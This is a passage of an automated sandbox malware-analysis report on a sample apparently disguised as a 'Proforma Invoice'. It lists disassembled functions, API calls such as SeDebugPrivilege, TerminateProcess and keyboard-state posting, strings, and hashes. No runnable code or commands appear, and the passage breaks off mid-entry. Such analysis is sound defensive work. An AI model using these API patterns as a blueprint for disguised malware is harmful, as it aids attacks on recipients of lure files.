Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: ee25d1f1c27f9aa85bb6252f5f9d8807c891d8ec73a4d51bf8c3d4cd91bc2434
Instruction ID: b403cbfc6ac07580e4d22aa725cfc6490aad9a12b98fa0199676eaf875e21f6f
Opcode Fuzzy Hash: ee25d1f1c27f9aa85bb6252f5f9d8807c891d8ec73a4d51bf8c3d4cd91bc2434
Instruction Fuzzy Hash: F641D074A00318EFDF219F64DC85BEE77B9EF08350F10442AF984E7291C2799D848B64

Function 0071E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00703C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00703C7A
Part of subcall function 00703C55: Process32FirstW.KERNEL32(00000000,?), ref: 00703C88
Part of subcall function 00703C55: CloseHandle.KERNEL32(00000000), ref: 00703D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0071E9A4
GetLastError.KERNEL32 ref: 0071E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0071E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0071EA63
GetLastError.KERNEL32(00000000), ref: 0071EA6E
CloseHandle.KERNEL32(00000000), ref: 0071EAA3

Strings

SeDebugPrivilege, xrefs: 0071E9C2

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 30c6ce0e55d56776957c098d12d167b56a3c1bbb5b9e7c7cde0eea77cceb956b
Instruction ID: 8558459f2cddfceac3c08e72d24d9c0477b45c81b58a1005e8271ce5fc2ee1c9
Opcode Fuzzy Hash: 30c6ce0e55d56776957c098d12d167b56a3c1bbb5b9e7c7cde0eea77cceb956b
Instruction Fuzzy Hash: DE41BC702002059FDB24EF28CC95FBEB7A6AF41710F14855CFA429B2D2CB79AD45CB99

Function 00702F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00703033

Strings

question, xrefs: 00702FEC
info, xrefs: 00702FD4
blank, xrefs: 00702FB5
warning, xrefs: 0070301C
stop, xrefs: 00703004

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: f8509832ebc088927a24dfdb80c82fcdf7dc7e9f9fec98c92dde18eef0134b24
Instruction ID: c1fc03444ef5b7dd989b80de2123f8612b7d7b68039eee90ba68d2873fcadec9
Opcode Fuzzy Hash: f8509832ebc088927a24dfdb80c82fcdf7dc7e9f9fec98c92dde18eef0134b24
Instruction Fuzzy Hash: 0A113835249387FBE7149A14DC42DAB67DDDF19360B20412EFD00B61C2EABC6F0445A5

Function 007042F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00704312
LoadStringW.USER32(00000000), ref: 00704319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0070432F
LoadStringW.USER32(00000000), ref: 00704336
_wprintf.LIBCMT ref: 0070435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0070437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00704357

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 577cc3d383df300cb5446d8c0438a07a1ef7680543bb104bfb86c6d3deef5eeb
Instruction ID: 6bf8c87b961d9f28f54cf89240a5ca9bba561463f76d388dcc3ba7b8266f87ca
Opcode Fuzzy Hash: 577cc3d383df300cb5446d8c0438a07a1ef7680543bb104bfb86c6d3deef5eeb
Instruction Fuzzy Hash: 70014FF2900208BFE7619BA0DD89EEA777CEB08701F4045B5FB45E2051EA785E854B75

Function 0072D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

GetSystemMetrics.USER32(0000000F), ref: 0072D47C
GetSystemMetrics.USER32(0000000F), ref: 0072D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0072D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0072D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0072D716
ShowWindow.USER32(00000003,00000000), ref: 0072D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0072D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0072D77D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 6ce6cf71f1bf9c14772915a050e94b5a9eba045d83ba47fca810e4c5f37cae77
Instruction ID: c7a79a1b0f3432f49bcd803d84c25407d56316619386c135b0a9de5a8b0cbe98
Opcode Fuzzy Hash: 6ce6cf71f1bf9c14772915a050e94b5a9eba045d83ba47fca810e4c5f37cae77
Instruction Fuzzy Hash: 58B17971600225EBDF28CF69D989BA97BB1FF04711F08C069EC489B295D778AD50CBA0

Function 006A2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,006DC1C7,00000004,00000000,00000000,00000000), ref: 006A2ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,006DC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 006A2B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,006DC1C7,00000004,00000000,00000000,00000000), ref: 006DC21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,006DC1C7,00000004,00000000,00000000,00000000), ref: 006DC286

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 09826ce0649e093c92c876d200786c2f7c5be8a9da0b33433a37ad5fee374c44
Instruction ID: ca32a743d444a6330a8e916b2abf76dc1106756c7ee23bdff71cec4a965076e3
Opcode Fuzzy Hash: 09826ce0649e093c92c876d200786c2f7c5be8a9da0b33433a37ad5fee374c44
Instruction Fuzzy Hash: BC411B316446829BC735AB2C8DA8BAB7BA3AF47310F14C42EE14782760C6759D42DF20

Function 007070C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 007070DD

Part of subcall function 006C0DB6: std::exception::exception.LIBCMT ref: 006C0DEC
Part of subcall function 006C0DB6: __CxxThrowException@8.LIBCMT ref: 006C0E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00707114
EnterCriticalSection.KERNEL32(?), ref: 00707130
_memmove.LIBCMT ref: 0070717E
_memmove.LIBCMT ref: 0070719B
LeaveCriticalSection.KERNEL32(?), ref: 007071AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 007071BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 007071DE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: c130063e79ccfe31c725aa76af3766a5c64d5a08a3373530a7abb5249e841801
Instruction ID: 7cc3722ae6fbcb6ac50d898ae398d4ea26894df9cd8b97e640a3c07292c518b4
Opcode Fuzzy Hash: c130063e79ccfe31c725aa76af3766a5c64d5a08a3373530a7abb5249e841801
Instruction Fuzzy Hash: 04316E31900205EBDB50DFA4DC85EAEB7B9FF45710F1481B9F9049B286DB74AE11CB64

Function 007261D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 007261EB
GetDC.USER32(00000000), ref: 007261F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 007261FE
ReleaseDC.USER32(00000000,00000000), ref: 0072620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00726246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00726257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0072902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00726291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 007262B1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 0f14048a9ae4a2d022ab534c42a74eba140d3e4f766624ec3cd818e9ee97a126
Instruction ID: bb7a584d0f35571c7353cc3fa879371450996b98ffcde57142b5f48ad4dcae00
Opcode Fuzzy Hash: 0f14048a9ae4a2d022ab534c42a74eba140d3e4f766624ec3cd818e9ee97a126
Instruction Fuzzy Hash: CA314F72101214BFEB218F50DC8AFEB3BA9FF49765F044065FE089A291D6799C52CB64

Function 006FBBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 006FBBC4
_memcmp.LIBCMT ref: 006FBBE6
_memcmp.LIBCMT ref: 006FBBFE
_memcmp.LIBCMT ref: 006FBC11
_memcmp.LIBCMT ref: 006FBC2B
_memcmp.LIBCMT ref: 006FBC3E
_memcmp.LIBCMT ref: 006FBC56
_memcmp.LIBCMT ref: 006FBC71

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a9de0adae0b5e3a82816d495c960d53d0956cfc7ec245b3584dc016ec41f51b4
Instruction ID: 00e0cd8bee4dc6dbeedcdb255761f248713bd36a25a6f2fcb23de075608e2de2
Opcode Fuzzy Hash: a9de0adae0b5e3a82816d495c960d53d0956cfc7ec245b3584dc016ec41f51b4
Instruction Fuzzy Hash: 4B2195B170120D7BB6086611ED42FFB779FDE16348F049019FE049A647EF58DE1282E5

Function 0070EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

Part of subcall function 006BFC86: _wcscpy.LIBCMT ref: 006BFCA9

_wcstok.LIBCMT ref: 0070EC94
_wcscpy.LIBCMT ref: 0070ED23
_memset.LIBCMT ref: 0070ED56

Strings

X, xrefs: 0070ED93

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 2ee03d4dbc1e011a433673e832ddbc9e145b10ca75d20287bf1753fdb2bb48df
Instruction ID: c1714acb2705d74a55619b67d3abb023fc94bd1d863512cc81751823506e47b8
Opcode Fuzzy Hash: 2ee03d4dbc1e011a433673e832ddbc9e145b10ca75d20287bf1753fdb2bb48df
Instruction Fuzzy Hash: 19C18C71508301DFD794EF24C841A6BB7E1EF86310F10492DF89A9B2A2DB74EC45CB96

Function 006A1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddae541509f73b651fb721079d1643965aa8946a198f78ab9f3ac48f62b5b97e
Instruction ID: 42f7b51e1d5c2b1da8dc440a912e9d03182b33145a80c34fbb2fbfd9f0dad0c1
Opcode Fuzzy Hash: ddae541509f73b651fb721079d1643965aa8946a198f78ab9f3ac48f62b5b97e
Instruction Fuzzy Hash: 38716D34904109EFCB149F58CC45AFEBBB6FF8A310F148159F915AA251C734AE52CF64

Function 00716B76 Relevance: 10.7, APIs: 7, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0ad9938cdcad7d1eadbd87798cbb5e04656fc3f202029464e7d2b34cafbaf9a
Instruction ID: de4353fab42c393cb1cad40d83fe90458330c59b642458af970b69586d7c46fa
Opcode Fuzzy Hash: d0ad9938cdcad7d1eadbd87798cbb5e04656fc3f202029464e7d2b34cafbaf9a
Instruction Fuzzy Hash: 6F61C071208300ABC750FB28DC85EABB7EAAF85714F10491DF5869B2D2DB34ED41CB66

Function 0072B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(011A5670), ref: 0072B3EB
IsWindowEnabled.USER32(011A5670), ref: 0072B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0072B4DB
SendMessageW.USER32(011A5670,000000B0,?,?), ref: 0072B512
IsDlgButtonChecked.USER32(?,?), ref: 0072B54F
GetWindowLongW.USER32(011A5670,000000EC), ref: 0072B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0072B589

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 53bf776a01b9fbb15be985bfbc87d18ec5db10c50ef7252fb5473cff08ba2344
Instruction ID: ee6884d300495713d5c6d57e8876850cc0ea4fffd0a56c5c44036ac1afdb0a8a
Opcode Fuzzy Hash: 53bf776a01b9fbb15be985bfbc87d18ec5db10c50ef7252fb5473cff08ba2344
Instruction Fuzzy Hash: 6571B134600265EFDB24EF94E8D4FBA7BB5EF09300F148069FA46972A2C739AD51DB50

Function 0071F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0071F448
_memset.LIBCMT ref: 0071F511
ShellExecuteExW.SHELL32(?), ref: 0071F556

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

Part of subcall function 006BFC86: _wcscpy.LIBCMT ref: 006BFCA9

GetProcessId.KERNEL32(00000000), ref: 0071F5CD
CloseHandle.KERNEL32(00000000), ref: 0071F5FC

Strings

@, xrefs: 0071F525

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 99ce03af5bb47904caef78356d7800800a1b52ef06304d3a7abc2da74a786999
Instruction ID: d963af5ab312e38d692fcbde7da6c057a2c0d9622aec59d474b7c969124ead86
Opcode Fuzzy Hash: 99ce03af5bb47904caef78356d7800800a1b52ef06304d3a7abc2da74a786999
Instruction Fuzzy Hash: 20618F75A006199FCB14EF68C4819AEFBB6FF49310F14846DE856AB391CB34AD41CF94

Function 00700F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00700F8C
GetKeyboardState.USER32(?), ref: 00700FA1
SetKeyboardState.USER32(?), ref: 00701002
PostMessageW.USER32(?,00000101,00000010,?), ref: 00701030
PostMessageW.USER32(?,00000101,00000011,?), ref: 0070104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00701095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 007010B8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 04b363a979caceeb3f5f887136d842def06eca3be4b599514651b4e400b71a26
Instruction ID: ee7c9653d592122cae8f878e826d9bdc736314c8982c5293759ae03566f90324
Opcode Fuzzy Hash: 04b363a979caceeb3f5f887136d842def06eca3be4b599514651b4e400b71a26
Instruction Fuzzy Hash: 615106606047D6BDFB3643348C49BBABEE96B06304F488689E1D4868C3C2DCECD5D751

Function 00700D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00700DA5
GetKeyboardState.USER32(?), ref: 00700DBA
SetKeyboardState.USER32(?), ref: 00700E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00700E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00700E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00700EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00700EC9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 00f211470ae75e54d8dbae297d0b887ff00b99b67054475b4b25e289d5c45020
Instruction ID: 628fb1a1f04ca4f7f9d23a0f32aea7f2fac3c21c52d7f5e8b91ac647592b2118
Opcode Fuzzy Hash: 00f211470ae75e54d8dbae297d0b887ff00b99b67054475b4b25e289d5c45020
Instruction Fuzzy Hash: D15106A06087D5BDFB329374CC45B7A7FE96B06310F088A99E1D4564C2C39DAC98E7A0

Function 007055FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0070560A
_wcsncpy.LIBCMT ref: 0070563F
_wcsncpy.LIBCMT ref: 00705671
_wcsncpy.LIBCMT ref: 007056A4
_wcsncpy.LIBCMT ref: 007056E6
_wcsncpy.LIBCMT ref: 00705720
_wcsncpy.LIBCMT ref: 0070574F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: f8fbd1649ebc36b7db4b36d016fe4cd414a5b0f71c821bf905b528295355af90
Instruction ID: faf0c22b7be8a3eb217427ee1111c63c372bfb07969140802c62843095c59cab
Opcode Fuzzy Hash: f8fbd1649ebc36b7db4b36d016fe4cd414a5b0f71c821bf905b528295355af90
